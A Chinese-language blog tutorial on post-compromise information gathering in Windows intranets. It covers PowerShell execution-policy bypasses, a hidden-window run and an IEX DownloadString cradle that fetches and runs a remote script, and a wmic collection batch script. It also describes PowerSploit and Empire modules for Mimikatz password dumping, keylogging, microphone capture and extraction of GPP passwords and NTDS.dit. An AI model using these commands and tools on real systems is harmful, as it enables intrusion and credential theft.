<
内网渗透-信息收集02
>
上一篇

PDF加密文档破解
下一篇

Typora联动PICGO和腾讯COS服务建立图床
windows下信息收集脚本使用

0x01 前言

在内网渗透中,前期的信息收集是必不可少,获取主机的关键信息,往往会对后边的渗透做下很好的铺垫。上一篇记录相关的命令和信息收集的点,这一篇介绍一下在windows下信息收集时用的自动化脚本。

0x02 windows下的脚本执行

一般powershell都有默认的保护机制,无法直接执行ps文件,需要使用其他方法。

四种执行权限

默认是禁止脚本执行的,使用Get-ExecutionPolicy进行查看,使用Set-ExecutionPolicy命令修改。

如果想要绕过默认的策略可用以下方法

本地权限绕过执行

PowerShell -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过执行

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

IEX下载远程脚本绕过执行

IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)

常用参数

0x03 PowerSploit

PowerSploit是一个在windows下的powershell脚本集,里面包含了信息收集,权限提升,权限维持等多种功能,这里主要介绍他的信息侦查模块recon和信息收集模块exfiltration

下载地址

PowerSploit-recon

Recon-Get-ComputerDetails 通过日志获取信息

这个脚本用于从计算机中获取有用的信息。主要获取信息如下

本地加载该脚本,由于脚本并不是完整代码,只是定义了函数,所以需要载入。

1、.+空格+.\Get-ComputerDetails.ps1

2、import-Module .\Get-ComputerDetails.ps1

远程加载

IEX (New-Object Net.WebClient).DownloadString(“http://127.0.0.1/Get-ComputerDetails.ps1”)

image-20200810084519667

执行结果如下

image-20200810084756959

这个脚本一些值的获取需要管理员权限,其次因为有些内容可能查不到所以会报错,脚本主要用了以下几个命令。

Get-eventlog:获取本地计算机或远程计算机上事件日志或事件日志列表中的事件。

Get-WinEvent:从本地和远程计算机上的事件日志和事件跟踪日志文件中获取事件。

Get-ChildItem:获取一个或多个指定位置中的项和子项。位置可以是文件系统目录、注册中心或证书存储区。

image-20200810085055531

Recon-Get-httpstatus 探测web目录

这个脚本主要用于探测web目录

image-20200810091554521

同时在dictionaries目录里也提供了几个字典文件

image-20200810091900656

示例

C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*}

C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL
Recon-Invoke-Portscan 端口扫描

image-20200810092721836

相关参数有很多,建议阅读说明文档

Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 50

速度还是可以的

image-20200810093956190

在使用这种有向外连接脚本的时候会触发火绒的联网控制,默认会阻止,下面是手动允许了。

image-20200810093705850

Recon-Invoke-ReverseDnsLookup DNS侦查

反向DNS查询,扫描DNS PTR记录的IP地址范围。此脚本用于在进行授权渗透测试之前执行DNS侦察

image-20200810095651527

运行结果如下,可以查找到主机名。

image-20200810101414775

Recon-powerview

powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本

里面包含很多在域环境下信息收集的函数,详细函数作用及调用脚本

详情可以参考文档里面的readme文件

这里列举几个看着有点用函数:

Get-CachedRDPConnection——查询目标主机上保存的所有RDP连接项

image-20200827114445746

Get-LastLoggedOn—返回目标主机的最后一个登录用户

image-20200827114650278

关于域环境下相关的函数

image-20200827115711843

当具体遇到哪个函数了,可以具体再去获取相关信息

image-20200827133940308

powersploit-exfiltration

直接导入目录,Import-Module ./Exfiltration

image-20200810104343028

发现其中三个文件被火绒直接报毒杀掉

image-20200810104235866

一个是抓密码的mimikatz,一个是ninjacopy(通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件。这绕过了文件DACL、读句柄锁和SACL锁。必须是管理员才能运行该脚本。这可以用来读取通常被锁定的系统文件,比如NTDS.dit文件或注册表hives。),另外一个是Invoke-CredentialInjection(这个脚本允许攻击者使用明文凭据创建登录,而不会触发ID 4648的可疑事件(显式凭据登录)

exfiltration-Get-GPPAutologn

在域控制器中搜索以查找autologon信息并返回用户名和密码。

exfiltration-Get-GPPPassword

在域控制器中搜索groups.xml, scheduledtasks.xml, services.xml和datasource .xml文件内容并返回明文密码。

exfiltration-Get-Keystrokes

键盘记录并输出

发现捕获不到键盘记录,原因未知

exfiltration-Get-MicrophoneAudio

利用Windows API从winmm.dll记录音频从麦克风和保存波文件到磁盘。

exfiltration-Get-TimedScreenshot

屏幕截图,可指定间隔时间和结束时间

exfiltration-Get-VaultCredential

凭证枚举,web凭据可明文

exfiltration-Invoke-CredentialInjection

登录注入,伪造登录

exfiltration-Invoke-Mimikatz

抓密码hash

exfiltration-Invoke-NinjaCopy

超级复制,用管理员启动后可以复制受保护的运行中的系统文件

exfiltration-Invoke-TokenManipulation

可以枚举可用的登录令牌,并使用它们创建新进程。这允许您使用

另一个用户通过使用他们的登录令牌创建一个进程来通过网络进行认证。

exfiltration-Out-Minidump

将包含所有进程内存的进程转储文件写入磁盘。emm看似进程转储

exfiltration-VolumeShadowCopy

包含下面几个函数

Get-VolumeShadowCopy New-VolumeShadowCopy Mount-VolumeShadowCopy Remove-VolumeShadowCopy

提供系统卷影拷贝删除等功能

0x04 自动化脚本

前面也介绍了相关wmic在信息收集时的相关命令,而wmic脚本仅仅就是将之前的命令整合起来做一个输出,可以根据自己的需求自己定制

下面是网上的wmic bat脚本,复制黏贴到文件,保存成bat格式就能用。

简单解释一下

在批处理文件中的for循环

for %%I in (command1) do command2
/f //读取文件中的内容
"delims=" //delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

0x05 Empire

我们在获取一个shell以后,就可以使用empire中powershell的脚本,脚本有很多,这里还是只介绍一下有关信息收集的脚本使用

连接上后如下

image-20200828134346577

没连上前还有302个模块可用,连上后只有221个可以使用了。

大类分为code_execution(代码执行)、collection(采集)、credentials(凭据)、exfiltration(渗出)、lateral_movement(横向移动)、management(管理)、persistence(维持)、privesc(权限提升)、recon(侦查)、situational_awareness(态势感知)、troll sploit(分裂)

这上面大部分都是机译,后期会有专门的对后渗透所用的工具进行介绍,这里只做简单介绍。

使用situational_awareness模块,可以看到有以下部分,根据命名几乎都能判别其作用。

image-20200828134606789

我们随便找一个端口扫描的进去看一下

image-20200828140106957

发现其使用了powersploit相关模块,毕竟这款工具就是基于powershell进行开发的。

尝试使用以下arpscan模块,看一下需要什么参数,简单设置一下范围,直接使用execute执行

image-20200828140649850

image-20200828144401559

再试一下屏幕截屏,直接在agents下敲sc命令,会直接调用powershell/collection/screenshot模块,最后会存放于

/root/.local/powershell-empire/downloads/E8721H6C下,另外下面也会存在命令执行记录的一个log文件。

还有许多模块还没有尝试,后期会在工具篇中详细说明。另外,渗透真好玩。

Top
Foot